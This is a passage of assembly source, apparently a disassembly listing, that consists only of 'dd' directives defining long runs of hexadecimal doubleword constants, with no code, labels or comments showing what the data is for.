		dd 827D9500h, 29783C1Eh, 1CD5AC0h, 5712224h, 6868DEA4h
		dd 1B024952h, 0EEDCF0A8h, 5BAC480Bh, 0B6BA0BE0h, 7100C99Eh
		dd 4F584B35h, 10BC2A1Fh, 59A18E3Ch, 0D03CC130h,	202846E0h
		dd 17D88780h, 7D09B94Fh, 0A00F8B66h, 0F27A14C0h, 14584D07h
		dd 28006EC9h, 0FD06CA80h, 1289C400h, 0EF6C9BD8h, 626101D2h
		dd 984DA503h, 40ED2163h, 5CED8E6Bh, 0F0A0D300h,	0DD0B837Ah
		dd 71B4E85h, 10F3BF78h,	0FC79DC88h, 89B35F3Fh, 194CE4h
		dd 0DFB1590Ch, 73010EBEh, 9C0058F9h, 983972CFh,	0B3C0131Dh
		dd 18D66600h, 5043E428h, 72ECAC0Eh, 0FD930959h,	4C0B3F0Ah
		dd 0F24C88Ah, 311765B1h, 242B6BDCh, 0A4B80110h,	0B3491D09h
		dd 64378756h, 17305160h, 58D90C2h, 950221C1h, 0EE68B147h
		dd 6BA7847h, 6B8F2DAFh,	48724D19h, 2733C51Ch, 90BFA000h
		dd 0FF595343h, 1A690020h, 798E301Bh, 1BFF2C2h, 85675BCAh
		dd 203B4BBDh, 0E40B2EBEh, 60063AFAh, 220D7DCh, 524B7E6Dh
		dd 0A6403D0Eh, 543D2F9Bh, 33280734h, 74702549h,	8E27E0h
		dd 0CD342D6h, 3A185610h, 9B2CA91Ch, 0E9924F80h,	0D0EA5Fh
		dd 0EE1D6636h, 93BF5B14h, 8CB25C00h, 3CB49D0Ch,	0BB60000Fh
		dd 923D3BD0h, 7701137Bh, 7EEB5365h, 0E8C3FFD1h,	50B82B1Eh
		dd 1D5CC847h, 0C0858145h, 4CCCE7B7h, 330FB2A8h,	21143D07h
		dd 0EA773CA7h, 1851D7F0h, 0C4B6D39h, 9707BAB5h,	0B99C4776h
		dd 78F433h, 2BCFC60h, 0E770527Dh, 0B30F4300h, 2969ACECh
		dd 6B030110h, 819B884h,	0CED6E413h, 339DF400h, 61A450ACh
		dd 22E3C2Fh, 0B49B3F80h, 0C69814F7h, 8584D61Ch,	954ED1C0h
		dd 3AEFEB9h, 8F9977E7h,	983DDCDBh, 0F63879BDh, 97A48196h
		dd 0D502BB61h, 15BAB620h, 0C0B2DFDEh, 6FBC2700h, 0D7F92016h
		dd 3D0D4300h, 41E4045Ch, 0AD590005h, 4D29A0E9h,	0D60642CFh
		dd 0DE3AF413h, 64920148h, 0D33D9FC5h, 61518044h, 0BC5F6F4Ah
		dd 0D09800CCh, 18EEEC31h, 723BDAAFh, 96860085h,	68C1A610h
		dd 78D700B4h, 33E6419Ah, 49485A64h, 81633E00h, 0B9B07FB1h
		dd 98F3086Ch, 1F4DC90h,	9B3E2BC8h, 60781EB5h, 0D000B856h
		dd 39F99A22h, 141D1033h, 0C8969530h, 0CCBB907h,	3545F040h
		dd 3B00E109h, 6241D33Ah, 9B06C5h, 82B75B7Eh, 7AEA179Fh
		dd 3CBC250Ah, 1F00584Fh, 21232F64h, 5E3D28F0h, 91702ECh
		dd 0AEDEC659h, 31110041h, 0FB9BD11Bh, 60CF23D8h, 467EAF0Ch
		dd 8E8999h, 4286ED51h, 7FF17970h, 2B19A500h, 84D734A0h
		dd 5CC800CEh, 633A22F8h, 4892FB97h, 6AB220h, 0F375ACD9h
		dd 833BE25Bh, 2FCC8600h, 0E6DD69E4h, 0BDC0027Ah, 0C55817E3h
		dd 48A38890h, 60108330h, 42D43Bh, 0D309E6FFh, 4B226F16h
		dd 0A1867837h, 551A4CD0h, 5811C057h, 73CC8F94h,	52C29B00h
		dd 0D186C9E3h, 75E905CEh, 28ACB224h, 8492B670h,	0F058D500h
		dd 26E79E90h, 0A58F24F1h, 9CD78110h, 0B05B3EE3h, 465DB021h
		dd 74B10293h, 287CC1ECh, 10C88C9Bh, 0BCA05F4Bh,	45007482h
		dd 37BF22A1h, 0F33368CFh, 0FD5E5982h, 0DC809843h, 0DC0BEB70h
		dd 29015CEEh, 0D79D05FEh, 0A520D333h, 607100A5h, 0BB169ABDh
		dd 2A00853Ah, 0D0C328F0h, 981B9D41h, 448328h, 0B9E4792Ch
		dd 428807CDh, 29022D72h, 24063381h, 0B6584857h,	0CD0EEB3h
		dd 0C638A8C5h, 60737CD8h, 15FE9D07h, 58B00BA0h,	623380h
		dd 6CE73E70h, 0C7DD4951h, 870ED509h, 0F502039h,	9A02B6F4h
		dd 0BEC00138h, 0FB6CD0AFh
		dd 243287h, 0A86917AEh,	95C301h, 6D89FE2Dh, 67D44D22h
		dd 91C9D200h, 0BE2096CBh, 0AB6305E7h, 43A5C6A4h, 0EF3E8DD0h
		dd 95F56100h, 23F45F3h,	0AAB20067h, 16A4EB1Ch, 0F00607Fh
		dd 0E2449C88h, 1DCB94AEh, 0DF8B9FFBh, 0FC1B4095h, 38EB8F4Eh
		dd 65A91600h, 66EE630Bh, 0F4B00Ah, 98FA7997h, 9815EF6h
		dd 0CD56130Ch, 4CE4DEF3h, 7A077A30h, 0E11F4DE8h, 40FEB0DFh
		dd 0C63D9330h, 80F2CC38h, 2690428Eh, 40CF0AF9h,	0FB005653h
		dd 9B5002C6h, 40BB0Fh, 0EA4415B4h, 0C7422B8Dh, 33D1AE1Ch
		dd 82618447h, 7EC0BCF7h, 21E0C4Ch, 0CF28AF52h, 0DB80461Fh
		dd 60EB2633h, 810771E8h, 0C23E34C0h, 433F4E80h,	1AD5004Fh
		dd 0BC7CCF3Ah, 62006733h, 7B6AD75Dh, 0E6EDD3Dh,	0B9AD37C3h
		dd 0CF5643E0h, 5E006B92h, 31D6B76Ch, 120E519Eh,	831D6Fh
		dd 0EEDBD4E2h, 7B01502Fh, 890C4EEDh, 2720BFC6h,	33D30088h
		dd 4A8E43A5h, 490081C5h, 3CDE75CDh, 1E74D1C2h, 0D4F9C09Ah
		dd 0C33E2C3Bh, 5EFBCD00h, 9B0CCF7Ch, 98485465h,	1868E6C0h
		dd 1EE90083h, 0BEFE3CF3h, 0D74348Ch, 4FB2C300h,	61A7DE60h
		dd 7BD418B3h, 7963490Ah, 3238AD00h, 3F819C3Dh, 147701A3h
		dd 0D4E3691h, 316ED45Dh, 9F139306h, 0DFF18420h,	0BDE60088h
		dd 24D4063Bh, 802E2318h, 0A649E41h, 513A39E9h, 0BDEC412Ch
		dd 3119B0E6h, 0C732A230h, 77669C19h, 0FDAD403Ch, 0CF0013A6h
		dd 2DF18385h, 0B30AD7h,	5080ED9Dh, 72C714B7h, 9FA642F1h
		dd 45E090B0h, 54C69403h, 0A0939E39h, 80DD0h, 52B0FC91h
		dd 0BD23214h, 0BFF48A1Ch, 2B414487h, 9C204000h,	0EFA006Ch
		dd 4C2892ECh, 6A0683DBh, 0C10C379Fh, 80F93F60h,	0C7D61D87h
		dd 0E20339A5h, 6905303Ah, 35EB5E3Fh, 38928040h,	0DFDB50h
		dd 0D7583079h, 0D0A72305h, 0E7FA031Fh, 53872B40h, 2FD3FCh
		dd 2A9FA501h, 5C6DAFE6h, 0BECC3Eh, 73C15868h, 77B28DCDh
		dd 0A4A71543h, 0A1008CABh, 0F2775706h, 34903456h, 4299A01Ch
		dd 43920A80h, 0D81A2h, 408C4D04h, 86F52C07h, 0C8068AAh
		dd 0F7564B12h, 41095492h, 782AD4Ah, 3C30DF48h, 6FC07072h
		dd 0EBA3E09Eh, 64808C66h, 140CE9F8h, 2849F7F9h,	0E47650AEh
		dd 21F400DAh, 0D8486ADEh, 5918A511h, 4BA15C53h,	1A522465h
		dd 94261419h, 360CDD3Eh, 63202E09h, 74E7D801h, 93D7D9A0h
		dd 13BDDC0h, 9F616A45h,	505A0108h, 0EB528FF4h, 9731E612h
		dd 0F3C0845Ch, 0DE4A5879h, 11845CABh, 0CDAA3600h, 0FE7B2F53h
		dd 0ACC7AD0Ah, 7600808Ch, 5C2B994Dh, 60AB00B0h,	7B3AF28Eh
		dd 7A754090h, 66B8A40Ah, 1F40F8C6h, 0F9E694h, 5DAB3623h
		dd 9DC2E5Eh, 966C8601h,	802F6272h, 5F9E8450h, 0F768008Bh
		dd 115D0A9Fh, 7FFA4EE9h, 82968003h, 0EF0688B9h,	0E81442B0h
		dd 4A26129Bh, 0B4C400ACh, 95010439h, 0EFCF9A00h, 33CAFA2Eh
		dd 0ECF248D6h, 0A426E948h, 101307A7h, 8BF7328Eh, 0A3428880h
		dd 449B1681h, 50940A14h, 0E50035D4h, 9907D815h,	1E6E0924h
		dd 0C04DCDCBh, 8382F481h, 998012h, 2B4F7F8Eh, 60600097h
		dd 511A56h, 5DD444A7h, 0D0A6F801h, 5BB5F600h, 0FA4E2E3Eh
		dd 55CC286Dh, 0A0D484B0h, 24C51430h, 0C4F08F6Eh, 17FC9C81h
		dd 1B3B93Fh, 1C719177h,	0BAE88103h, 18BB061Dh, 8A65A5ABh
		dd 0C93F8400h, 0B3D1377Dh, 4ACD1DE6h, 0C4003EF7h, 0A8BC6B5Bh
		dd 9E90D343h, 0BE6C1C3Eh, 0A2FC0F8Fh, 0E4BF46F8h, 1060710h
		dd 0A08DDEB1h, 8C7E319Fh, 48E6AC00h, 0D1CF3525h, 0B9A20040h
		dd 175C5551h, 0E798A793h, 3DA88700h, 18E7D390h,	0A24D00E4h
		dd 5534CD27h, 0AF007E01h, 1FFF45D8h, 5F3B5B50h,	2F6DF887h
		dd 845CCAh, 0C3794C12h,	3DB83344h, 8770AC60h, 0B20E03h
		dd 0AC21AEDh, 3EF1FE97h, 20BFC730h, 0C4328CDh, 0EC10A107h
		dd 0B30070C0h, 463397D7h, 7E50A64Ch, 477218F9h,	0D04E20EDh
		dd 0BA667E1Fh, 8330F240h, 76C87BFh, 2DE1AF04h, 0C4C01E02h
		dd 0E403FA56h, 15A83B00h, 99B957F6h, 78900093h,	4B4E31DAh
		dd 0FF00556Bh, 23AF444Fh, 7241A6Ah, 0AAD8C3FCh,	89D2C12Fh
		dd 3C228165h, 1A4086BBh, 0EA79C4h, 11078898h, 3FB1B4D7h
		dd 36CD300h, 0D5F676DDh, 0B29A004Bh, 0D64CFB57h, 0F200CB8Eh
		dd 93F15BB9h, 9C5852Eh,	2380D3D2h, 50BBE580h, 78004ECDh
		dd 45866A7Ah, 199D811h,	29D666CAh, 80F5CB2Bh, 0B6E5D241h
		dd 5AE417ACh, 924C3C5h,	76D6F4B8h, 1C2E407Ch, 8900882Fh
		dd 4B6BB17Dh, 0FDB21D52h, 680B0021h, 7C4C912Ch,	0DC70EE00h
		dd 8713329Eh, 48A800CEh, 0B92B0636h, 690064D4h,	4F826875h
		dd 3EB68B5Ah, 2D8023E6h, 0C6874BCAh, 5203A16Ah,	0D05DB02Bh
		dd 0EF86B84Fh, 0C096732Ch, 19B6E1F8h, 71075A90h, 7E5D306Ah
		dd 38D0B2D0h, 2579003Bh, 85826F18h, 2F00486Bh, 0FA4CF47Dh
		dd 70FDC08h, 0E3321EFh,	0DA0640B0h, 65286A04h, 72008C10h
		dd 4E2B2FA8h, 1D08FF52h, 0C0CC3D90h, 5F95651Eh,	7912910Fh
		dd 6C005EB8h, 44EDE662h, 22086010h, 0AA25422Ch,	77E44900h
		dd 0F5D2A055h, 40B3036Ah, 16828E83h, 80689839h,	0B0559E6Dh
		dd 7A50C79Dh, 0D98B501Ah, 563C0029h, 12E91C75h,	0C22C2A77h
		dd 990366B3h, 0CBBCAAE0h, 3CE1005Eh, 0B0EDF45Fh, 0C000D15Ah
		dd 0A3FB554Ah, 1D48131Ch, 8F9A49ADh, 0B5407EF2h, 0ED166164h
		dd 1B8C4013h, 4971210Ch, 1A8500ACh, 6DF6A67Bh, 220128BBh
		dd 0EA2CBF7Fh, 102456B0h, 4692024Fh, 0F8E2938Dh, 9D7B3448h
		dd 7AA3400h, 0B87F6A1Eh, 0B85F60EAh, 69FA58A0h,	611B540Fh
		dd 708F40AFh, 215B39Ah,	977C2578h, 0AC9344A1h, 232AC9A8h
		dd 24BE4D24h, 0F6D12500h, 219DF1h, 8DA40EC2h, 0A50683D2h
		dd 1D071407h, 0D9D09766h, 1AF2EC5h, 5DE85C3Fh, 606CD6BFh
		dd 0E9745717h, 9E7EE42Ch, 0A03BBC0Eh, 8667CF3h,	60D900B1h
		dd 17835840h, 0A18CFA6h, 0BFC822DBh, 3A0014Ah, 82BE4061h
		dd 243CC55Bh, 0ED071D9Ch, 0C99EA543h, 0CD91A60h, 76E500C2h
		dd 0E27278B8h, 0F10095DEh, 9D67A96Eh, 342C441h,	9732DC09h
		dd 8A9B8423h, 0C9E686F0h, 64875012h, 0B3C0D018h, 0E10D01EBh
		dd 0DB201E79h, 76B2E8AEh, 0BFD7B900h, 77390CAh,	99D60FD4h
		dd 0A1E0EDECh, 1817D5F2h, 863D431Ch, 0F44C7585h, 6519A000h
		dd 480FF9h, 0A8967360h,	124E6A76h, 6CDDD902h, 0C0096902h
		dd 0CE7C1D80h, 0F1416846h, 0E8F901B7h, 0C600ED95h, 47536B8Ah
		dd 4A82355h, 3440BA2Ch,	8D4CC081h, 0F0E56A2Ah, 0FF2B671Ch
		dd 0DB099472h, 4B829A7h, 0B090AFFBh, 4CC1CD53h,	8C505042h
		dd 98D20057h, 11FE6970h, 0F002E4CFh, 651D2D49h,	0B3244064h
		dd 73FC1EBAh, 9C6D8E42h, 87DE4520h, 5900A750h, 0F3EDD280h
		dd 0C7931D9h, 0A5CA03E3h, 4C3EE818h, 0CF3E9Bh, 7FC91CD0h
		dd 0ECE2DAC7h, 89A7000Fh, 0FE2C108Ah, 8D00A088h, 2AFFBC53h
		dd 69520Bh, 0A5553519h,	39857EF3h, 79B57F00h, 0F7EE8E75h
		dd 9BD9029Ah, 0CA35E98Fh, 10803090h, 5EFC4900h,	11B56077h
		dd 71F60BC6h, 805FF779h, 30727551h, 486900BDh, 0A2C5E550h
		dd 0F1F85423h, 593B280Ch, 8B784Bh, 41CB495Dh, 4FD9E82Fh
		dd 3BB01A1Dh, 0A6007052h, 0C12D0819h, 0CC1706E3h, 88788669h
		dd 7D033207h, 3C33F73Eh, 0D1FEC88Ah, 0B6EE5C19h, 0F376F800h
		dd 0C953262Eh, 83939100h, 923DCA5Eh, 0F27F00F0h, 434C707Bh
		dd 0E1E4A99h, 0E1745862h
		dd 5DDAC04h, 0E3C7D7C0h, 0E07CAB78h, 5443A904h,	0A8AC80h
		dd 5A7E7553h, 467874B4h, 820A51E4h, 0CC16DE5Eh,	643F0400h
		dd 0C1735437h, 0D80CD570h, 0DE94407Ah, 5305DBDh, 0AD521469h
		dd 9076548Dh, 0CF120041h, 3FA6C5E8h, 4B0DB510h,	7888349Ch
		dd 2E733E4h, 0C876FF6Dh, 8080A42Fh, 0CB361A68h,	0C7E46B00h
		dd 69A2E095h, 0EB90CEAh, 1490116Eh, 0F460FDB8h,	0AB341831h
		dd 0D4A031C0h, 7E85C2B1h, 0C579E500h, 1645EF2h,	0DBC445B9h
		dd 42190301h, 3C80989Ch, 0E694B5Ah, 6FF7DA06h, 669F567h
		dd 0C30368E2h, 0E800B0BDh, 20730A12h, 1DA5563h,	1E2E902h
		dd 0D4B481D4h, 910228A7h, 780F39BBh, 39740DFh, 9B838h
		dd 59CAFC36h, 0C0FA4B6Eh, 60909C15h, 370B0284h,	0B3DF34E3h
		dd 813B8D8h, 1440922Bh,	0D3E2FB21h, 12AE040h, 33D751E7h
		dd 80B8989Ch, 70488349h, 5E67A6Fh, 0DF2B243Ch, 9C742C71h
		dd 0FBB0D4A3h, 11042D46h, 0D20A7B80h, 61C0CC84h, 0C18E164Bh
		dd 53F05030h, 45898FA4h, 845D676Bh, 58A11E0h, 0F655002Dh
		dd 1CC306C6h, 0CC056074h, 0ED2715DCh, 66149C40h, 0CDD736h
		dd 9F99F675h, 0EB4A561Bh, 955B263Fh, 0DCD812h, 0FA6DE136h
		dd 0A1531Eh, 4DFF5FDDh,	0C2B269A3h, 57829A02h, 801FAD44h
		dd 0D5CA8084h, 2A900089h, 18EFDF79h, 5E00EB28h,	0E768A826h
		dd 7B4C13h, 9417FD73h, 6E4BA9DBh, 0F6F73A2Dh, 0C0C59D67h
		dd 53C3B09h, 44038C36h,	67145389h, 65DF80CEh, 2F460087h
		dd 0B46BFE84h, 0DB0019DDh, 1153C67Bh, 1F134D4h,	72594150h
		dd 40FA68E9h, 0F08EFF28h, 0E30B5800h, 42A8FC8Ch, 0E9BA00F9h
		dd 5EAABC17h, 0C7076D5Ch, 0B1FA399Fh, 0BB05D7E0h, 5BCA4C58h
		dd 0E761EA00h, 6D792E04h, 8DF20398h, 3B4DE300h,	21CF14EBh
		dd 0C04EEE72h, 2D113410h, 68C0FF3Dh, 71CA532Bh,	7C2107F0h
		dd 0B01E74CFh, 2E1A4ABBh, 0ACF3E00Fh, 0DD17E534h, 78535830h
		dd 0F598A8BCh, 0E6BF6C45h, 0F6007B19h, 716385E6h, 16AE798h
		dd 0AB29C25Eh, 0C867B358h, 11017D2Bh, 38D95AE8h, 0D880C322h
		dd 0ECFF8E4h, 0E000A615h, 53F768ACh, 1D7D2A8h, 0BF661B3Ch
		dd 0CD059EF6h, 0D8E181D6h, 0E44357C4h, 2188FCh,	1F7C67BEh
		dd 542A968h, 0C94A311Fh, 929EA4C0h, 1B9A574h, 1926D22Ah
		dd 82B01DE2h, 0F5CF8478h, 3846E082h, 95C10034h,	0DCB7C820h
		dd 0E729553Ch, 828D469h, 3B17FE02h, 3D3002h, 0BFC2C04Fh
		dd 6995A400h, 4CB01F6Dh, 0C7860A8Ch, 8C8457h, 80581D25h
		dd 0C200475Bh, 7AFB94B5h, 0D178C6h, 0DC161F4Fh,	3D9CF2E3h
		dd 65CAD71Eh, 82FEB841h, 3C50F732h, 7458867h, 20D91397h
		dd 8EC50B7h, 4212B5CEh,	6E002175h, 78331E67h, 60EA1507h
		dd 4098E0F6h, 2100C697h, 66ACDF61h, 7195A6D0h, 96181D6Ch
		dd 8583BD84h, 9453BAADh, 0A5071803h, 0A4DDBD76h, 88A72490h
		dd 34FD488Ch, 4101F00h,	5F602432h, 0FC7D3428h, 0F774DE0Ah
		dd 0C580D4D3h, 6DA856EDh, 7A760336h, 2B8C4537h,	2AC86154h
		dd 70C9441Ch, 65FE7A80h, 77D8F9Eh, 241A692Bh, 0C2CE0F84h
		dd 7AF6EB00h, 8C0267E5h, 0DD1E2BC7h, 94C48855h,	0BF5465C0h
		dd 5EEC0608h, 60E06D25h, 273B8190h, 0E3B0045h, 29053134h
		dd 150102D3h, 67D09663h, 25B680B0h, 0ABA0F155h,	9C000431h
		dd 22AF9EF2h, 0E77A1240h, 181C01CAh, 0DE5FEB31h, 77C3A448h
		dd 0B4B93C09h, 2938007Dh, 726165h, 4C0E4E90h, 826FD073h
		dd 17A4EB00h, 1336F86Bh, 126600D4h, 28FD9DF6h, 0F9609F9Ah
		dd 0BA8D9918h, 5EFE0CCBh, 8F026929h, 2CFAD100h,	0CC58679Ch
		dd 63253C18h, 550D4D82h, 0F081A0EDh, 50BACA28h,	0FB89ACE0h
		dd 8497F718h, 0FD1948h,	4C14582h, 0F189D36h, 0ADEE6900h
		dd 2A95A7B1h, 24919Ah, 0EDD4640Eh, 8500D25Ch, 7CD720A4h
		dd 9CFF36h, 4987882Bh, 0E392130Ch, 437FECE2h, 84699669h
		dd 149825FFh, 0D1A10095h, 9E3D5136h, 0D30224D8h, 9F942AABh
		dd 0C4A0874Bh, 15AC62AEh, 1684666h, 5FF0EDF5h, 348DE208h
		dd 0BB7FFA9Ch, 304C35F5h, 0C245A0Ah, 6CC0D05Eh,	9E4266Bh
		dd 6E1D3298h, 330B1480h, 5D01554Ch, 0C0791603h,	41F415C7h
		dd 711B3A9Bh, 0ABEDACh,	62DD7890h, 92A0A1FAh, 3600BFD1h
		dd 0FF82991Bh, 85EFF2h,	2D86EC02h, 1AD68E10h, 2B746701h
		dd 3EDC824Ch, 1FC270h, 4BFAAD0Bh, 927195EEh, 9B7B39C1h
		dd 8F70C0C4h, 0F240006Fh, 416A26FAh, 0A1FAC9Fh,	70F30EE5h
		dd 0B8D4D385h, 0B9C7C1h, 8B70A4BBh, 4F7B4693h, 2C5C607h
		dd 7970510Fh, 90BDB11h,	243057BEh, 0E94FCC80h, 0D0A2322h
		dd 384AEAD6h, 0CEF18400h, 0EDB2C77h, 0F0DC87E0h, 3BFC9940h
		dd 0AF052038h, 0BC46B407h, 9B90BA10h, 0C573F881h, 56D139B1h
		dd 0AC3FBC00h, 3C747F0h, 966F8F07h, 1BF0F95Dh, 0CB899D88h
		dd 0B400AA61h, 0C822E3FEh, 23394E0Eh, 96F8207Ch, 0DB0FC4h
		dd 1E73EBD6h, 0AE597701h, 785BD115h, 3FA701D0h,	0F9841F44h
		dd 9202C73Ah, 9C88ACD0h, 6B46C234h, 0D2278DE0h,	0DF2A7207h
		dd 0B5D719B3h, 15EE003Eh, 0FE85457Dh, 0FAF13F04h, 242FFB06h
		dd 330768BFh, 6BDAA5Bh,	0D608B0F1h, 3891E2ECh, 4C80BE99h
		dd 0CAC3F7D5h, 4550B41Dh, 0D2033482h, 27269DCCh, 0C73800DFh
		dd 5C8154D7h, 0C850DC32h, 7EFE9F9Ch, 0BCE830E1h, 1BF9DD02h
		dd 40F00FF3h, 7D93D608h, 801C000Eh, 0C435CB07h,	0AB007466h
		dd 28517848h, 3CB5DE99h, 9580627Dh, 7E25C41Ch, 970A6EE9h
		dd 8057FEF6h, 0EFA75D82h, 0CAE07546h, 6C4833F1h, 0CE2F7D18h
		dd 20DDC5Ch, 9F459D15h,	554D4C80h, 57001BBCh, 0E44CCD69h
		dd 92B9144h, 7454CC0Ah,	49B48C24h, 60B900D4h, 0C0BCF5C9h
		dd 0FDB6FBF0h, 6718B9D8h, 0CD29074Fh, 78FA4989h, 0E3240300h
		dd 56D7EFDh, 28860F0Ah,	0E0304416h, 5D83D85h, 0AC797AFAh
		dd 0B88C4219h, 2840D99Ah, 500AB0E6h, 1CEBDF56h,	2A769043h
		dd 52084A0h, 91986202h,	6CE44722h, 0D93C02F5h, 7268D180h
		dd 0B20046ADh, 0BE031F51h, 0AB7CF58h, 3196FFF7h, 0B68405ECh
		dd 5071C70Fh, 6D9D3A6Fh, 9C155800h, 5E98DDDh, 2AD10095h
		dd 5F3919A8h, 8906E746h, 30A5DF2Bh, 0C38D0090h,	15CE74AEh
		dd 9928ED38h, 0AF78D0A8h, 5F085A00h, 0D5BF3962h, 0BAB90C40h
		dd 3220E11Ch, 348C9B24h, 0C156260Ch, 603F499h, 0A1145784h
		dd 28188829h, 1321AD62h, 9B5B060Eh, 0C034A43Eh,	8F53D83Ah
		dd 23A0C42Ah, 530C6BDh,	0CC9F2661h, 3E900888h, 4AE26882h
		dd 88384467h, 10AE9CF8h, 3D3E56h, 0DE578F6Ch, 0F0CD185h
		dd 0AB407348h, 0DF7EB8E0h, 589A30B5h, 6818C882h, 0F90137C2h
		dd 2B98AD6Eh, 785D19BFh, 2A16B800h, 6D5E01BBh, 6B410394h
		dd 0A83C3013h, 0DB5AFC1Ch, 0E2849C02h, 0A130489Fh, 3F735C40h
		dd 5A0AB400h, 0BA329E49h, 0F3642F04h, 489CE96Ah, 40DEA10h
		dd 0A382AB8Eh, 89989093h, 0B72C9F53h, 310029C8h, 0E69BF9A8h
		dd 3268A70Eh, 28C115B1h, 2354241Ah, 0EE24C47Eh,	709E7856h
		dd 3040DE92h, 4F973FC3h, 3D050060h, 170A2F8Eh, 4513B936h
		dd 6000F6F0h, 69BC3089h, 0F47CDAh, 0FDB8AD3Ch, 258F4FE2h
		dd 0EE1B1700h, 86350288h, 0CA3918DDh, 73D310EAh, 1F724201h
		dd 40780408h, 0EC01DA45h, 0B47A23A3h, 0FB853E4h, 0E72D1C13h
		dd 8ACA70E1h, 0E0E5C4ABh, 361F0402h, 60DA9231h,	0DECB00h
		dd 279805F6h, 3832D351h
		dd 49ED0B1Eh, 0C7A8C282h, 67E0801Dh, 2687EB4Ah,	159B7F2Fh
		dd 6200844Ch, 9384B24Eh, 4D56E3E9h, 0AB007ED8h,	2F0D66FFh
		dd 9B1C05B3h, 435F1EDCh, 0A0045CDAh, 80BC0AA7h,	2242D826h
		dd 0AF09913Fh, 23796335h, 0FFEEB604h, 0A20D4085h, 8C414270h
		dd 0C30A444h, 24B64DD0h, 7D7684h, 1D54C8D1h, 96B091BAh
		dd 9EB827F6h, 0B9EBC701h, 0D428A4ECh, 0D8760828h, 9C3E712Ch
		dd 46A61300h, 50B354Ch,	0D247853Dh, 42C08110h, 0C1084023h
		dd 1B1F93EAh, 1CBB26C3h, 138CC05Ch, 0B1E3F1C4h,	36E6033Ch
		dd 1907983Fh, 865D179Dh, 2C34968Bh, 400436BDh, 576F21C7h
		dd 0F83E5D98h, 0F5007B1Ah, 754B1C71h, 247CD220h, 10C46C8h
		dd 506AA9CEh, 0E43C64B2h, 58B07800h, 2B43CBC9h,	6084A85Ah
		dd 0B3B11418h, 0F7865445h, 0A07C6C1h, 9891D7CFh, 64DA1100h
		dd 0C5D0570h, 824BFCABh, 255C58Ch, 60139BC7h, 2A37EA4h
		dd 0EC2AF650h, 448D7CAh, 6E77F8D9h, 9880A8BAh, 0BC002482h
		dd 65DC662Dh, 60C72EBDh, 2F85817Fh, 84A9846Fh, 60C4637Dh
		dd 0C9B32AC8h, 6CB52EACh, 438482E0h, 0A09CFCD6h, 8E647628h
		dd 0E65C64EFh, 0CF5DE71Ch, 24E19540h, 0B09D2ABBh, 2CC503F0h
		dd 17AFD5DEh, 4519A0EFh, 5401987Eh, 5C24C9B6h, 28253CC3h
		dd 750F987h, 0D2AE502Dh, 5B001353h, 0EE4C7D01h,	2E4B43B1h
		dd 9364B4DAh, 0A3B0479Dh, 443A1051h, 0BC3AD2BBh, 182CCC94h
		dd 72A10C41h, 0D4C00F6h, 5669781Eh, 0DF018C89h,	1A12772Ah
		dd 84202336h, 936200DEh, 0BC96BF60h, 75301EA2h,	4D0846B3h
		dd 0D0722829h, 0D63B03BCh, 0C1F84650h, 270BCA00h, 0CF0310FFh
		dd 97217A6h, 0C5704065h, 0FAB5BD5Ch, 536C2848h,	93F8D0A4h
		dd 903854h, 6D593DC1h, 16757BA1h, 62AA6943h, 23203EC8h
		dd 785CFF0Fh, 56D0A8B8h, 0A08717DDh, 905800F2h,	0B81AEC96h
		dd 0AFE4738h, 38AF28BDh, 1049449h, 1DC6AAC2h, 632529CAh
		dd 1C18D2A8h, 248E61h, 41B5F87Dh, 34FF683Dh, 1A0D738h
		dd 0C6C4C16h, 0D8228C0Ah, 98008494h, 0D3CE2D26h, 6F040D2Fh
		dd 0FE1CD547h, 7C4A20A0h, 0F7DB09C6h, 0C18D85Dh, 0FC02B32Bh
		dd 71395FEEh, 0AE48498h, 4DD9485h, 5C871DF4h, 40088852h
		dd 0D440FBD5h, 6BB98288h, 8C801984h, 0A8AD439Bh, 386D8CB1h
		dd 38518822h, 0A022DC0Dh, 0D432A61Fh, 1B008B1Ch, 9B0F1E87h
		dd 0A8016C68h, 286104Dh, 60FAED26h, 8F1DC4h, 0E2D9AA66h
		dd 5446C090h, 16706A60h, 38442C9Fh, 45068F88h, 0A0D19278h
		dd 0A47AFC80h, 2D766900h, 982FB8E4h, 97C200F7h,	0F6DF0E49h
		dd 0C4B9993Dh, 0A05E148Fh, 8D0172EBh, 27F47Fh, 0C3A50892h
		dd 14A168FDh, 7EF9A304h, 0F0DBD0C5h, 324E9700h,	84E2831Fh
		dd 88CE5A01h, 3B78286h,	7C45FEF4h, 99CC0EACh, 0C8F2B44Ch
		dd 3F0033C4h, 32DFB74Ah, 1615F89Ah, 0D77FF3h, 2813695Ch
		dd 0B52C641Eh, 0F586047h, 462D16EEh, 141693h, 344945D6h
		dd 0E4963C0Eh, 4E44A8AAh, 0C3C4216Dh, 1DCA903Ah, 0B63800D3h
		dd 7D226121h, 0B500A173h, 0F2AC2C28h, 21DB3010h, 80258491h
		dd 0A7CBD664h, 1446E66Ch, 5438416Bh, 0D8E4B4A7h, 4F7AD8D8h
		dd 47E02E00h, 8A442670h, 0E4200DFh, 2F0C3B30h, 0CBF4CDA2h
		dd 58345929h, 0EC315202h, 62E44958h, 9B932F20h,	8030A57Ch
		dd 0CEF2E495h, 0A4B134B0h, 68E2D2C2h, 4CFE880h,	0BBB42414h
		dd 689480CDh, 9096DB8h,	0F01072h, 8DB5986Ch, 862400EEh
		dd 2FA213B2h, 256BD2CBh, 0A36C09D8h, 0FC3E4634h, 0D0823781h
		dd 8850C3D5h, 6B81DD7h,	77056ED5h, 0E48061F5h, 14021E61h
		dd 0FA98EF63h, 0F13C680Eh, 33A402D1h, 0FF6411B5h, 0ABAC7440h
		dd 0CAC08665h, 6E9BC840h, 255430h, 0E41D762h, 0FB762196h
		dd 5C872202h, 6DF9BD4Ah, 8ABA1200h, 1ACA1D5Ch, 9C326B40h
		dd 16FEEFh, 0CB672762h,	658F3B79h, 82E07739h, 7FA8B3FDh
		dd 515CE8A7h, 0D0DF5972h, 2E99C408h, 820802Ch, 4B13D8C2h
		dd 6A888532h, 0AF77AC80h, 0CCCA0211h, 46BEEC4Ah, 7AEBCAC0h
		dd 0B1F46209h, 0B5EC98F0h, 0E08A0049h, 531293FCh, 0D0050F43h
		dd 74016125h, 0E87DFCC0h, 61D3164h, 20762710h, 8A1D04A9h
		dd 9844DDDCh, 70F0C0BBh, 7C2100A1h, 29424302h, 4702B019h
		dd 734ED7C9h, 5250C224h, 534B2D4h, 0A8A2F38Ch, 92A8CCABh
		dd 1EEB3302h, 0E964F273h, 49CC4C14h, 0E8E50794h, 0C0BD8615h
		dd 1C56437Bh, 0E3EB570Eh, 598C8016h, 5DE0B9FEh,	7501B498h
